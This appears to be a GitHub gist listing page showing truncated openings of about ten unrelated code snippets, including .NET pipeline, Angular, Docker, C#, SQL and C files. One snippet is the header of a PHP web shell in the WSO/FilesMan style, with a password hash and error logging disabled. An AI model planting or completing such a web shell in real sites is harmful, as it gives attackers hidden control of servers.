This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # .NET 6 Pipeline | |
| # Build and test a .NET 6 project | |
| # Triggers the pipeline on pushes to the master branch | |
| # https://learn.microsoft.com/en-us/azure/devops/pipelines/ecosystems/dotnet-core | |
| trigger: | |
| branches: | |
| include: | |
| - master | |
| # specify the pool for the pipeline |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "$schema": "https://raw.githubusercontent.com/JanDeDobbeleer/oh-my-posh/main/themes/schema.json", | |
| "blocks": [ | |
| { | |
| "alignment": "left", | |
| "newline": true, | |
| "segments": [ | |
| { | |
| "background": "#FEF5ED", | |
| "foreground": "#011627", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import { Component, Input } from '@angular/core'; | |
| @Component({ | |
| selector: 'play-components-simple-spinner', | |
| template: ` | |
| <div role="status"> | |
| <svg | |
| class="inline mr-2 w-{{ width }} h-{{ | |
| height | |
| }} text-gray-200 animate-spin dark:text-{{ backColor }}-600 fill-{{ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| version: "3.7" | |
| services: | |
| elk: | |
| image: sebp/elk | |
| ports: | |
| - "5601:5601" | |
| - "9200:9200" | |
| - "5044:5044" | |
| restart: always | |
| container_name: elkstack |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| public class TaskQueue | |
| { | |
| private SemaphoreSlim semaphore; | |
| public TaskQueue() | |
| { | |
| semaphore = new SemaphoreSlim(1); | |
| } | |
| public async Task<T> Enqueue<T>(Func<Task<T>> taskGenerator) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using (var ctx = new TestContext()) | |
| { | |
| var dbSetProperties = ctx.GetDbSetProperties(); | |
| List<object> dbSets = dbSetProperties.Select(x => x.GetValue(ctx, null)).ToList(); | |
| } | |
| public static class Extensions | |
| { | |
| public static List<PropertyInfo> GetDbSetProperties(this DbContext context) | |
| { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /*При активизации Suid модуля в целях бехопасности пароль обязателен.*/ | |
| $auth_pass = "a0c3b1e2e1786293ca9bfb710e49ad42"; | |
| $color = "#df5"; | |
| $default_action = 'FilesMan'; | |
| $default_use_ajax = true; | |
| $default_charset = 'Windows-1251'; | |
| @ini_set('error_log',NULL); | |
| @ini_set('log_errors',0); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| public static class JsonResultTestingUtils | |
| { | |
| ///<summary> | |
| /// Helper function that parses a given JsonResult and validates that the content is of the expected type | |
| /// </summary> | |
| /// <typeparam name="T">The expected type of the content</typeparam> | |
| /// <param name="result">The JsonResult to be parsed</param> | |
| /// <returns>True if the content is of the expected type, false otherwise</returns> | |
| public static bool ValidateJsonResult<T>(JsonResult result) | |
| { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| declare @TableName sysname = 'TableName' | |
| declare @Result varchar(max) = 'public class ' + @TableName + ' | |
| {' | |
| select @Result = @Result + ' | |
| public ' + ColumnType + NullableSign + ' ' + ColumnName + ' { get; set; } | |
| ' | |
| from | |
| ( | |
| select |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <string.h> | |
| #include <ctype.h> | |
| #include <stdlib.h> | |
| void encrypt(); | |
| void decrypt(); |